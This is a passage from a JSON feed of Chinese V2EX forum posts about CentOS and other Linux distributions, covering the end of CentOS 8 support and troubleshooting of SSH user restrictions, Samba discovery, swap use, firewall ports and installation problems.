      "content_html": "<h2>\u80cc\u666f</h2>\n<p>\u6709\u4e00\u53f0\u670d\u52a1\u5668\u9700\u8981\u767b\u5f55\u4e0a\u53bb\u67e5\u770b\u65e5\u5fd7\u3002\u5e0c\u671b\u521b\u5efa\u4e00\u4e2a\u8d26\u6237\uff0c\u5b9e\u73b0\u4ee5\u4e0b\u6743\u9650\u7ba1\u7406\uff1a</p>\n<ul>\n<li>\u53ea\u5141\u8bb8\u8be5\u8d26\u6237\u6301\u6709\u8005\u67e5\u770b /\u901a\u8fc7 SSH \u4e0b\u8f7d\u88ab\u5141\u8bb8\u7684\u6587\u4ef6\u5939\u5185\u7684\u6587\u4ef6</li>\n<li>\u4e0d\u5141\u8bb8\u4fee\u6539\u4e0a\u8ff0\u6587\u4ef6\u5939\u5185\u7684\u6587\u4ef6</li>\n<li>\u5176\u4ed6\u6240\u6709\u6587\u4ef6\u5747\u5bf9\u5176\u4e0d\u53ef\u89c1\uff0c\u5305\u62ec\u6587\u4ef6\u540d\u79f0\u4e5f\u4e0d\u5141\u8bb8\u770b\u5230</li>\n<li>\u6b64\u5916\u4e0d\u5141\u8bb8\u8be5\u7528\u6237\u6267\u884c\u4efb\u4f55\u5176\u4ed6\u547d\u4ee4</li>\n</ul>\n<h2>\u6267\u884c\u8fc7\u7684\u64cd\u4f5c</h2>\n<p>\u5c1d\u8bd5\u8fc7\u4f9d\u636e <a href=\"https://www.digitalocean.com/community/questions/how-do-i-restrict-a-user-to-a-specific-directory\" rel=\"nofollow\">https://www.digitalocean.com/community/questions/how-do-i-restrict-a-user-to-a-specific-directory</a> \u7684\u5185\u5bb9\uff0c\u6267\u884c</p>\n<pre><code class=\"language-bash\">adduser -g restricted_user -d /home/restricted_user restricted_user\n</code></pre>\n<p>\u5e76\u8bbe\u7f6e\u4e86 home \u76ee\u5f55\u6240\u6709\u8005</p>\n<pre><code class=\"language-bash\">chown -R restricted_user /home/restricted_user\n</code></pre>\n<h2>\u95ee\u9898</h2>\n<p>\u4f7f\u7528 <code>restricted_user</code> \u7528\u6237\u767b\u5f55 SSH \uff0c\u901a\u8fc7 Midnight Commander \u6d4b\u8bd5\uff0c\u786e\u5b9e\u65e0\u6cd5\u8bbf\u95ee <code>/root</code> \u76ee\u5f55\uff0c\u63d0\u793a\u65e0\u6743\u9650\u3002\u4f46\u4f9d\u7136\u53ef\u4ee5\u8bbf\u95ee\u5176\u4ed6\u76ee\u5f55\u5e76\u770b\u5230\u5176\u4e2d\u6587\u4ef6\u540d\u79f0\uff0c\u4f8b\u5982 <code>/etc</code>\uff0c\u8fd9\u662f\u4e0d\u5e0c\u671b\u770b\u5230\u7684\u3002</p>\n<h2>\u89e3\u51b3\u65b9\u6cd5\uff1f</h2>\n<p><code>/root</code> \u6743\u9650\u4e3a <code>dr-xr-x--- (550)</code></p>\n<p><code>/etc</code> \u6743\u9650\u4e3a <code>drwxr-xr-x (755)</code></p>\n<p>\u5047\u5982\u628a\u5305\u62ec <code>/etc</code> <code>/var</code> \u8fd9\u4e9b\u6587\u4ef6\u5939\u6743\u9650\u90fd\u8bbe\u7f6e\u6210 550 \uff0c\u662f\u5426\u4f1a\u6709\u4e9b\u6fc0\u8fdb\uff1f\u662f\u5426\u4f1a\u5f71\u54cd <code>root</code> \u8d26\u6237\u4e0b\u8fd0\u884c\u7684\u5176\u4ed6\u8fdb\u7a0b\uff0c\u6216\u8005\u5e26\u6765\u672a\u77e5\u7684\u7cfb\u7edf\u6027\u95ee\u9898\uff1f</p>\n<p>\u8fd8\u6709\u6ca1\u6709\u4ec0\u4e48\u5176\u4ed6\u597d\u529e\u6cd5\u6765\u521b\u5efa\u4e00\u4e2a\u7528\u6237\uff0c\u53ea\u5141\u8bb8\u5176\u8bbf\u95ee\u6307\u5b9a\u6587\u4ef6\u5939\u4e0b\u7684\u6587\u4ef6\uff1f</p>\n<p>\u611f\u8c22\u5404\u4f4d</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/salmon5", 
        "name": "salmon5", 
        "avatar": "https://cdn.v2ex.com/gravatar/f339659dbe586c2dc2d7bd220b6524ce?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/815316", 
      "title": "AlmaLinux 8.5 \u53d1\u5e03\u4e86", 
      "id": "https://www.v2ex.com/t/815316", 
      "date_published": "2021-11-14T10:10:35+00:00", 
      "content_html": "<a target=\"_blank\" href=\"https://mirrors.almalinux.org/isos.html\" rel=\"nofollow noopener\">https://mirrors.almalinux.org/isos.html</a><br />\u6839\u636e\u6211\u6700\u8fd1\u534a\u5e74\u7684\u89c2\u5bdf\uff0c\u76f8\u5bf9 RockyLinux \uff0c<br />\u5b83\u7684\u793e\u533a\u66f4\u6d3b\u8dc3\u3001\u6709\u4e13\u804c\u7684 5 \u4eba\u7ef4\u62a4\u56e2\u961f\u3001\u66f4\u6210\u719f\uff08\u7ec6\u8282\u66f4\u89c4\u8303\uff09\uff0c<br />\u8fd9\u6b21 8.5 \u4e5f\u662f RHEL8.5 \u51fa\u6765 2 \u5929\u540e\u79d2\u51fa\uff1b<br />\u6211\u66f4\u503e\u5411\u4e8e\u5b83\u6765\u66ff\u4ee3 CentOS"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/johnsonwil", 
        "name": "johnsonwil", 
        "avatar": "https://cdn.v2ex.com/avatar/7af0/6134/545814_large.png?m=1644223429"
      }, 
      "url": "https://www.v2ex.com/t/802434", 
      "date_modified": "2021-09-17T01:08:46+00:00", 
      "content_html": "CentOS 8 \u5373\u5c06\u5728\u672c\u5e74\u5e74\u5e95\u505c\u6b62\u7ef4\u62a4\uff0c\u6700\u8fd1\u6709\u5404\u79cd\u5404\u6837\u7684\u57fa\u4e8e CentOS \u7684\u4e8c\u6b21\u53d1\u884c\u7248\u51fa\u73b0\uff0c<br /><br />\u4f8b\u5982\uff1a<br />\u5b98\u65b9<br /><br />RedHat\uff1aCentos Stream 8 \u3001\u5728 CentOS 8 \u7684\u57fa\u7840\u4e0a\u52a0\u4e0a\u4e86\u6eda\u52a8\u66f4\u65b0\u529f\u80fd\uff08\u5c31\u50cf Windows \u9694\u4e09\u5c94\u4e94\u50cf\u4f60\u63a8\u9001\u66f4\u65b0\u5b89\u88c5\u4e00\u6837\uff09\uff0c\u539f\u6765\u7684 CentOS \u662f\u4ee5\u7248\u672c\u53f7\u66f4\u65b0\u800c\u4e3a\u7cfb\u7edf\u8fdb\u884c\u66f4\u65b0\uff0c\u4f8b\u5982 7.5 \u5230 7.6 \u7528\u6237\u81ea\u7531\u9009\u62e9\u662f\u5426\u5347\u7ea7\uff0c\u4f46 Stream \u4f1a\u4e00\u76f4\u7ed9\u4f60\u63a8\u9001\u5404\u79cd\u66f4\u65b0\uff0c\u4eba\u4eec\u62c5\u5fe7\u8fd9\u4f1a\u8ba9 CentOS \u7684\u7a33\u5b9a\u6027\u8361\u7136\u65e0\u5b58\uff0c\u6240\u4ee5\u5c31\u51fa\u73b0\u4e86\u4e0b\u9762\u7684\u5404\u79cd\u7b2c\u4e09\u65b9\u53d1\u884c\u7248 RHEL \u7cfb\u7edf\u3002<br /><br />\u4e91\u5382\u5546<br /><br />\u817e\u8baf\u4e91\uff1aTencentOS Server 3 \uff08 RHEL 8 \uff09\u3001TencentOS Server 2 \uff08 RHEL 7 \uff09\u5df2\u5f00\u6e90\u5e76\u53ef\u5b89\u88c5\u5728\u4efb\u610f\u5176\u4ed6\u670d\u52a1\u5668\u548c\u817e\u8baf\u4e91\u5b98\u65b9\uff0c\u5b98\u65b9\u627f\u8bfa\u4f1a\u81f3\u5c11 3 \u4e2a\u6708\u66f4\u65b0\u4e00\u6b21\u3002<br />\u963f\u91cc\u4e91\uff1aAliyun Linux 3 \uff08 RHEL 8 \uff09 Aliyun Linux 2 \uff08 RHEL 7 \uff09 \u5df2\u5f00\u6e90\u4f46\u4f3c\u4e4e\u53ea\u652f\u6301\u5728\u963f\u91cc\u4e91\u4f7f\u7528\u3002<br /><br />\u57fa\u91d1\u4f1a \u516c\u76ca<br /><br />Rocky Linux\uff1aRocky Linux 8 \uff08 CentOS 8.4 \uff09\u5e76\u627f\u8bfa\u5728 CentOS \u505c\u6b62\u7ef4\u62a4\u540e\u5c06\u4f1a\u6301\u7eed\u540c\u6b65\u66f4\u65b0 RHEL 8 \u7684\u5404\u79cd\u66f4\u65b0\u5e76\u53ca\u65f6\u4fee\u590d\u7ef4\u62a4 0day \u5b89\u5168\u8865\u4e01 \uff0c\u539f CentOS \u521b\u59cb\u4eba\u4e0d\u6ee1 RedHat \u88ab IBM \u6536\u8d2d\u540e\u7684\u5bf9\u5f00\u6e90\u4e0d\u5c0a\u91cd\uff0c\u5e76\u4e8c\u6b21\u521b\u7acb\u8be5\u9879\u76ee\uff0c\u4e3a\u4e86\u907f\u514d\u8be5\u9879\u76ee\u906d\u5230\u7c7b\u4f3c CentOS \u88ab\u6536\u8d2d\u7b49\u547d\u8fd0\uff0c\u5728\u521b\u7acb\u5f00\u59cb\u524d\u5c31\u5df2\u7ecf\u8bbe\u7f6e\u4e86\u5404\u79cd\u6761\u6b3e\u6765\u7981\u6b62\u88ab\u7b2c\u4e09\u65b9\u5546\u4e1a\u516c\u53f8\u6536\u8d2d\u4ece\u800c\u907f\u514d\u4efb\u4f55\u5546\u4e1a\u5316\u7684\u53ef\u80fd\u6027\u3002<br /><br />Alma Linux\uff1aAlma Linux 8 \uff08 CentOS 8.4 \uff09\u5e76\u627f\u8bfa\u5728 CentOS \u505c\u6b62\u7ef4\u62a4\u540e\u5c06\u4f1a\u6301\u7eed\u540c\u6b65\u66f4\u65b0 RHEL 8 \u7684\u5404\u79cd\u66f4\u65b0\u5e76\u53ca\u65f6\u4fee\u590d\u7ef4\u62a4 0day \u5b89\u5168\u8865\u4e01\uff0c\u7531 CloudLinux OS \u8fd0\u7ef4\u5e76\u8bbe\u7acb\u4e86 AlmaLinux OS \u57fa\u91d1\u4f1a\u3002AlmaLinux OS \u662f RHEL\u00ae \u7684 1:1 \u4e8c\u8fdb\u5236\u517c\u5bb9\u5206\u652f\u3002 \u7531\u793e\u533a\u5f15\u5bfc\u548c\u5efa\u8bbe\u3002", 
      "date_published": "2021-09-16T21:43:23+00:00", 
      "title": "CentOS 8 \u5373\u5c06\u5728\u672c\u5e74\u5e74\u5e95\u505c\u6b62\u7ef4\u62a4\uff0c\u6700\u8fd1\u6709\u5404\u79cd\u5404\u6837\u7684\u57fa\u4e8e CentOS \u7684\u4e8c\u6b21\u53d1\u884c\u7248\u51fa\u73b0\uff0c\u5927\u5bb6\u5982\u4f55\u770b\u5f85\u3002", 
      "id": "https://www.v2ex.com/t/802434"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/nbweb", 
        "name": "nbweb", 
        "avatar": "https://cdn.v2ex.com/avatar/19a7/81b4/78527_large.png?m=1718928508"
      }, 
      "url": "https://www.v2ex.com/t/800283", 
      "date_modified": "2021-09-07T03:09:06+00:00", 
      "content_html": "\u672c\u4eba\u662f Debain \u515a\u3002<br /><br />\u672c\u4eba\u662f\u505a\u8bbe\u8ba1\u7684\uff0c\u5341\u591a\u5e74\u524d\u7684\u4e00\u5929\uff0c\u7a81\u7136\u5728\u505a\u7f51\u7ad9\u6709\u4e86\u5174\u8da3\uff0c\u4e8e\u662f\u4ece\u5934\u5b66\u8d77\u3002\u5b66\u7740\u4e70\u57df\u540d\uff0c\u5b66\u7740\u505a A \u8bb0\u5f55\u548c C \u8bb0\u5f55\uff0c\u4e70\u7a7a\u95f4\uff0c\u540e\u6765\u4e70 vps\uff0c\u518d\u540e\u6765\u81ea\u5df1\u7167\u732b\u753b\u864e\u7684\u642d web \u670d\u52a1\u5668\u3002<br /><br />\u6700\u65e9\u662f\u53bb hostloc\uff0c\u4e00\u4f17\u5927\u795e\u4eec\u5404\u5904\u6307\u5bfc\uff0c\u5168\u90e8\u63a8\u8350\u7528 CentOS \u505a\u4e3a\u670d\u52a1\u5668\u7684\u7cfb\u7edf\uff0c\u7f51\u4e0a\u4e5f\u6709\u5f88\u591a\u7684\u5173\u4e8e\u4e2d\u6587 CentOS \u7684\u793e\u533a\u3002\u540e\u6765\u9047\u5230\u4e00\u4e2a\u54c8\u5c14\u6ee8\u7684\u54e5\u4eec\uff0c\u4ed6\u771f\u7684\u662f\u65e0\u79c1\u7684\u6307\u5bfc\u6211\uff0c\u5e26\u6211\u5165\u95e8\u3002\u540e\u9762\u4ed6\u63a8\u8350\u6211\u7528\u4e86 Debian\uff0c\u8bf4\u5927\u4fbf\u50cf\u4e00\u4e2a\u56db\u5341\u5c81\u7684\u4e2d\u5e74\u4eba\uff0c\u7a33\u91cd\u6ca1\u5565\u5927\u95ee\u9898\uff0c\u6211\u8bb0\u5f97\u5f53\u65f6\u662f Debian 6 \u3002\u4ed6\u8fd8\u8bf4\uff0c\u5982\u679c\u60f3\u65b0\u529f\u80fd\u3001\u6fc0\u8fdb\u4e00\u4e9b\u7684\uff0c\u5c31\u7528 ubuntu \u3002\u4ece\u90a3\u65f6\u8d77\uff0c\u4e00\u76f4\u5230\u73b0\u5728\uff0c\u90fd\u662f\u5fe0\u5b9e\u7684 Debian \u515a\u4e86\u3002\u6211\u7684\u4e2a\u4eba\u535a\u5ba2\uff0c\u5f88\u591a\u6587\u7ae0\u90fd\u662f\u5173\u4e8e Debian \u7684\uff0c\u6709\u4f7f\u7528\u5fc3\u5f97\uff0c\u4e5f\u6709\u89e3\u51b3\u95ee\u9898\u7684\u65b9\u6cd5\uff0c\u4e5f\u6709\u5404\u79cd\u5c0f\u767d\u6559\u7a0b\u3002\u8001\u54e5\u5f53\u5e74\u5199\u7684\u4e00\u952e\u5728\u7ebf\u642d\u5efa dnmp \uff08 debian+nginx+mysql+php \uff09\u7684 web \u670d\u52a1\u5668\u811a\u672c\uff0c\u6211\u4f7f\u7528\u5230\u73b0\u5728\uff0c\u6bcf\u5f53 Debian \u5927\u7248\u672c\u5347\u7ea7\u65f6\uff0c\u6211\u5c31\u7ef4\u62a4\u4e00\u4e0b\u6e90\uff0c\u6216\u8005\u5176\u5b83\u7684\u5c0f\u7ef4\u62a4\u4e00\u4e0b\u3002<br /><br />\u6211\u4f7f\u7528 CentOS \u5c31\u53ea\u6709\u5165\u95e8\u90a3\u4e24\u4e09\u4e2a\u6708\uff0c\u540e\u9762\u518d\u4e5f\u6ca1\u6709\u5173\u6ce8\u8fc7\u4e86\u3002\u6628\u5929\u542c\u8bf4\u8981\u505c\u6b62\u4e86\uff0c\u8fd8\u662f\u633a\u9057\u61be\u7684\u3002\u8bb0\u5f97\u5f53\u521d\u8001\u54e5\u8bf4\uff0c\u522b\u770b CentOS \u4e2d\u6587\u793e\u533a\u591a\uff0c\u90a3\u662f\u56e0\u4e3a\u5f88\u591a\u53f0\u6e7e\u4eba\u5728\u7528\uff0c\u4f46\u662f Debian \u662f\u5168\u7403\u7528\u7684\u4eba\u591a\uff0c\u4ec0\u4e48\u6837\u7684\u95ee\u9898\uff0c\u90fd\u4f1a\u6709\u89e3\u51b3\u65b9\u6cd5\u3002<br /><br />\u5144\u5f1f\u4eec\uff0c\u8f6c\u6218 Debian \u5427\uff01\uff01", 
      "date_published": "2021-09-07T00:24:27+00:00", 
      "title": "\u6709\u611f\u4e8e CentOS \u505c\u6b62\u7ef4\u62a4", 
      "id": "https://www.v2ex.com/t/800283"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/stille", 
        "name": "stille", 
        "avatar": "https://cdn.v2ex.com/avatar/8599/a760/194458_large.png?m=1637417605"
      }, 
      "url": "https://www.v2ex.com/t/794993", 
      "title": "CentOS \u88c5 smb \u65e0\u6cd5\u5728 macOS \u548c Windows \u91cc\u7684\u7f51\u7edc\u91cc\u663e\u793a?", 
      "id": "https://www.v2ex.com/t/794993", 
      "date_published": "2021-08-11T01:35:31+00:00", 
      "content_html": "<p>CentOS 7 \u88c5\u4e86 SMB \u670d\u52a1,\u7b80\u5355\u914d\u7f6e\u540e\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528 IP \u5f62\u5f0f\u8bbf\u95ee.</p>\n<ul>\n<li>macOS Finder \u8fde\u63a5\u670d\u52a1\u5668 \u8f93\u5165 IP</li>\n<li>Windows \u8d44\u6e90\u5e93\u5730\u5740\u680f\u76f4\u63a5\u8f93\u5165 \\192.168.1.9\\</li>\n</ul>\n<p>\u4ee5\u4e0a\u4e24\u79cd\u65b9\u5f0f\u90fd\u53ef\u4ee5\u8fde\u63a5\u6210\u529f\u8f93\u5165\u7528\u6237\u5bc6\u7801\u4f7f\u7528.</p>\n<p>\u4f46\u662f\u65e0\u6cd5\u5728 macOS \u548c Windows \u7684\u7f51\u7edc\u91cc\u81ea\u52a8\u88ab\u53d1\u73b0.\u4f8b\u5982\u7fa4\u6656,Windows PC.\u751a\u81f3 OpenWrt \u90fd\u80fd\u591f\u8fd9\u88ab\u81ea\u52a8\u53d1\u73b0,\u5c31\u662f\u8fd9\u4e2a CentOS \u7684 smb \u65e0\u6cd5\u88ab\u53d1\u73b0..</p>\n<p>\u4e2a\u4eba\u89c9\u5f97\u5e94\u8be5\u662f <code>workgroup</code> \u6216\u8005\u7c7b\u4f3c\u4e8e<code>\u7f51\u7edc\u53d1\u73b0</code>\u4e4b\u7c7b\u7684\u529f\u80fd\u6ca1\u5f00\u542f,\u641c\u7d22\u4e86\u4e0b\u56fd\u5185\u5916\u7684\u4e00\u4e9b\u95ee\u9898,\u4e5f\u5c1d\u8bd5\u8fc7\u5f88\u591a\u90fd\u6ca1\u6709\u89e3\u51b3.</p>\n<p>\u76ee\u524d\u5c1d\u8bd5\u8fc7\u5728 [global] \u91cc\u4fee\u6539 workgroup = WORKGROUP , \u4f46\u662f\u6267\u884c testparm \u56de\u663e\u5374\u4e0d\u663e\u793a\u8fd9\u4e00\u884c,\u90a3\u5c31\u8868\u793a\u8fd9\u4e00\u884c\u6709\u95ee\u9898..\u4f46\u662f\u6539\u4e3a\u5176\u4ed6\u7684\u4f8b\u5982 workgroup = SAMBA \u5374\u6ca1\u95ee\u9898.</p>\n<p>\u5b9e\u5728\u6ca1\u529e\u6cd5\u4e86,\u770b\u770b\u5927\u5bb6\u6709\u6ca1\u6709\u9047\u5230\u8fc7\u89e3\u51b3\u8fc7\u8fd9\u4e2a\u95ee\u9898\u7684..</p>\n<h3>\u76f8\u5173\u53c2\u6570,\u56fe\u7247</h3>\n<p>nmbd \u5df2\u5f00\u542f</p>\n<p>smb.conf</p>\n<pre><code>[global]\n    security = user\n    workgroup = WORKGROUP\n    netbios name = CentOS\n    passdb backend = tdbsam\n</code></pre>\n<p>testparm \u56de\u663e</p>\n<pre><code>Server role: ROLE_STANDALONE\n\nPress enter to see a dump of your service definitions\n\n# Global parameters\n[global]\n\tnetbios name = CENTOS\n\tsecurity = USER\n\twins support = Yes\n\tidmap config * : backend = tdb\n</code></pre>\n<p><img alt=\"20210811093006c8pk0f\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.ioiox.com/2021/08/11/20210811093006c8pk0f.png\"/>\n<img alt=\"20210811093007QjldUr\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.ioiox.com/2021/08/11/20210811093007QjldUr.png\"/></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/ex1gtnim7d", 
        "name": "ex1gtnim7d", 
        "avatar": "https://cdn.v2ex.com/gravatar/fe8954f4768ae6a30f36ec5028c68484?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/788849", 
      "title": "centos \u9632\u706b\u5899\u5173\u95ed\u540e\u7aef\u53e3\u4f9d\u65e7\u65e0\u6cd5\u8bbf\u95ee", 
      "id": "https://www.v2ex.com/t/788849", 
      "date_published": "2021-07-11T08:39:47+00:00", 
      "content_html": "<p>\u4e0d\u7ba1\u9632\u706b\u5899\u6709\u6ca1\u6709\u542f\u7528\uff0c\u7aef\u53e3\u5fc5\u987b\u6dfb\u52a0\u5230\u653e\u884c\u5217\u8868\u91cc\u9762\uff0c\u624d\u80fd\u4f7f\u5f97\u7aef\u53e3\u6210\u529f\u88ab\u8bbf\u95ee\u3002</p>\n<p>\u6709\u6ca1\u6709\u61c2\u54e5\u77e5\u9053\u4e3a\u4ec0\u4e48\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/csfreshman", 
        "name": "csfreshman", 
        "avatar": "https://cdn.v2ex.com/gravatar/7624630ff4f2bad517fe23a0f81daf6b?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/788640", 
      "date_modified": "2021-07-09T23:02:14+00:00", 
      "content_html": "<p>\u81ea\u5df1\u6709\u53f0\u6dd8\u6c70\u7684\u7b14\u8bb0\u672c\uff0c\u5185\u5b58\u8f83\u5c0f\uff0c\u5b89\u88c5\u4e86 centos \u7cfb\u7edf\uff0c\u5728\u5b89\u88c5 grpc \u7684\u65f6\u5019\u62a5\u9519 oom\uff0c\u4f7f\u7528\u547d\u4ee4\uff1a</p>\n<pre><code>watch -n 2 free -m\n</code></pre>\n<p>\u67e5\u770b\u53d1\u73b0\u5185\u5b58\u8017\u5c3d\u4e86\uff0c\u4e8e\u662f<a href=\"https://cloud.tencent.com/developer/article/1156834\" rel=\"nofollow\">\u53c2\u8003\u6587\u6863</a>\u914d\u7f6e\u4e86 swap \u5185\u5b58\uff0c\u672a\u7f16\u8bd1\u65f6\u72b6\u6001:</p>\n<pre><code>[root ~]#free -m\n              total        used        free      shared  buff/cache   available\nMem:           3685         426        2922           9         335        3022\nSwap:         11967           0       11967\n</code></pre>\n<p>\u7f16\u8bd1 grpc \u540e\u7684\u72b6\u6001</p>\n<pre><code>Every 2.0s: free -m                                                                                                                                                    Fri Jul  9 12:40:49 2021\n\n              total        used        free\t shared  buff/cache   available\nMem:           3685        3361          98           9         225          87\nSwap:         11967           0       11967\n</code></pre>\n<p>\u4ece\u4e0a\u9762\u7684\u56fe\u53ef\u4ee5\u770b\u5230\uff0c\u5185\u5b58\u57fa\u672c\u4e0a\u4f7f\u7528\u5b8c\u4e86\uff0c\u4f46\u6b7b\u6d3b\u4e0d\u4f7f\u7528 swap \u91cc\u7684\u5185\u5b58\uff0c\u6700\u540e\u7a0b\u5e8f\u5361\u6b7b\uff0c\u7f16\u8bd1 grpc \u4e00\u76f4\u5361\u5728 50%\uff0c\u6211\u628a vm.swappiness \u503c\u8bbe\u7f6e\u4e3a 10 20 \u2026\u2026 100 \u6700\u540e\u7ed3\u679c\u4e00\u6837\u3002</p>\n<p>grpc \u6700\u7ec8\u5361\u5728\uff1a</p>\n<pre><code>[ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/plugin.cc.o\n[ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/plugin.pb.cc.o\n[ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/python/python_generator.cc.o\n[ 50%] Built target bssl\n^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^Cmake[2]: *** [third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/code_generator.cc.o] \u4e2d\u65ad\nmake[2]: *** [third_party/abseil-cpp/absl/flags/CMakeFiles/absl_flags.dir/flag.cc.o] \u4e2d\u65ad\nmake[2]: *** [third_party/abseil-cpp/absl/status/CMakeFiles/absl_statusor.dir/statusor.cc.o] \u4e2d\u65ad\nmake[1]: *** [third_party/protobuf/CMakeFiles/libprotoc.dir/all] \u4e2d\u65ad\nmake: *** [all] \u4e2d\u65ad\n\n^C\n</code></pre>\n<p>ctrl + c \u540e swap \u91cc\u53cd\u800c\u6709\u4e86\u4f7f\u7528\u5185\u5b58\uff1a</p>\n<pre><code>Every 2.0s: free -m                                                                                                                                                    Fri Jul  9 12:44:15 2021\n\n              total        used        free\t shared  buff/cache   available\nMem:           3685         166        3450           1          68        3358\nSwap:         11967         262       11705\n</code></pre>\n<p>gcc \u548c\u7cfb\u7edf\u7248\u672c\uff1a</p>\n<pre><code>[root ~]#gcc --version\ngcc (GCC) 7.3.1 20180303 (Red Hat 7.3.1-5)\n[root ~]#uname -a\nLinux MiWiFi-RA50-srv 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux\n</code></pre>\n<p>\u8dea\u6c42\u5404\u4f4d\u5927\u4f6c\u5e2e\u5fd9\u5206\u6790\u4e0b\uff0c\u5982\u4f55\u624d\u80fd\u8ba9 swap \u751f\u6548\uff0c\u4ece\u800c\u53ef\u4ee5\u5b8c\u6210\u7f16\u8bd1 grpc,\u53ef\u4ee5\u4ece\u54ea\u4e9b\u65b9\u9762\u53bb\u5206\u6790\u5462\uff1f</p>\n", 
      "date_published": "2021-07-09T16:45:13+00:00", 
      "title": "centos swap \u5185\u5b58\u4e0d\u88ab\u4f7f\u7528\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/788640"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/snuglove", 
        "name": "snuglove", 
        "avatar": "https://cdn.v2ex.com/gravatar/935a00dd2217239a89a5dc7a6cdbda9c?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/787354", 
      "title": "i7-10700 \u4e0d\u652f\u6301 centos7.6 \u5417,\u5b89\u88c5\u76f4\u63a5\u9ed1\u5c4f", 
      "id": "https://www.v2ex.com/t/787354", 
      "date_published": "2021-07-03T12:43:25+00:00", 
      "content_html": "<p>\u65b0\u5230\u624b\u4e00\u53f0\u673a\u5668,\u914d\u7f6e\u662f\u534e\u7855 B460m \u4e3b\u677f cpu \u662f i7-10700 \u6ca1\u6709\u663e\u5361,\u88c5 win10 \u662f\u6b63\u5e38\u7684,\u88c5 centos7.6 \u65f6\u70b9\u51fb\u5b8c install \u5c31\u6ca1\u753b\u9762\u4e86.\u7b2c\u4e00\u6b21\u9047\u5230,\u4e0d\u77e5\u9053\u8fd9\u662f\u600e\u4e48\u4e86....</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/zhifSu", 
        "name": "zhifSu", 
        "avatar": "https://cdn.v2ex.com/avatar/81ce/205b/444161_large.png?m=1675044191"
      }, 
      "url": "https://www.v2ex.com/t/784213", 
      "date_modified": "2021-06-18T05:11:36+00:00", 
      "content_html": "<p><img alt=\"\u5fae\u4fe1\u56fe\u7247_20210618112923.jpg\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.loli.net/2021/06/18/EotUmWv95STM1cV.jpg\"/></p>\n<p>\u9f20\u6807\u5565\u7684\u90fd\u52a8\u4e0d\u4e86\u4e86\n\u4ec0\u4e48\u60c5\u51b5\uff0c</p>\n", 
      "date_published": "2021-06-18T05:00:28+00:00", 
      "title": "\u6025\uff01 centos7 \u5b89\u88c5\u8fc7\u7a0b\u4e2d\u5361\u4f4f", 
      "id": "https://www.v2ex.com/t/784213"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/qping", 
        "name": "qping", 
        "avatar": "https://cdn.v2ex.com/avatar/cd05/aa1c/70333_large.png?m=1745386243"
      }, 
      "url": "https://www.v2ex.com/t/781412", 
      "date_modified": "2021-06-04T08:30:25+00:00", 
      "content_html": "<p>\u4f7f\u7528\u5bc6\u94a5\u767b\u9646\u662f\u53ef\u4ee5\u7684\uff0c\u4f46\u662f\u5728\u522b\u7684\u673a\u5668\u4e0a\u4f7f\u7528\u5bc6\u7801\u767b\u9646\u5c31\u4e0d\u884c\u4e86\u3002\u670d\u52a1\u5668\u7cfb\u7edf\u7248\u672c\u662f Centos 7.8.2003.</p>\n<p>\u5c1d\u8bd5\u8fc7\u4ee5\u4e0b\u7684\u6b65\u9aa4\uff1a</p>\n<ol>\n<li>\u5f53 ssh \u4e0a\u670d\u52a1\u5668\u540e\uff0csu - root \u8f93\u5165\u5bc6\u7801\u662f\u53ef\u4ee5\u7684\uff0c\u6392\u9664\u5bc6\u7801\u9519\u8bef\u7684\u95ee\u9898</li>\n<li>/etc/ssh/sshd_config \u91cc\u9762\u7684 # PermitRootLogin yes \u7684 # \u53bb\u6389\u5e76\u91cd\u542f systemctl restart sshd\uff0c\u8fd8\u662f\u4e0d\u884c</li>\n<li>/etc/ssh/sshd_config \u91cc\u9762\u7684 PasswordAuthentication \u503c\u539f\u6765\u5c31\u662f yes</li>\n<li>setenforce 0 \u4e5f\u4e0d\u884c</li>\n<li>\u5c1d\u8bd5\u67e5\u770b\u5b89\u5168\u65e5\u5fd7 \uff1a/var/log/secure \u53d1\u73b0\u4e0d\u7ba1\u662f\u767b\u9646\u6210\u529f\u8fd8\u662f\u5931\u8d25\uff0c\u5728\u91cc\u9762\u90fd\u6ca1\u6709\u751f\u6210\u65b0\u7684\u65e5\u5fd7</li>\n<li>\u67e5\u770b /etc/hosts.allow \u548c /etc/hosts.deny \u91cc\u9762\u90fd\u6ca1\u6709\u914d\u7f6e\u4e1c\u897f</li>\n<li>\u67e5\u770b\u767b\u9646\u65e5\u5fd7\uff1a\u6267\u884c last \u547d\u4ee4\u53d1\u73b0\u6709\u4e2a roo \u7528\u6237(\u6211\u6ca1\u6709\u6253\u9519\uff0c\u5c31\u662f\u5c11\u4e00\u4e2a 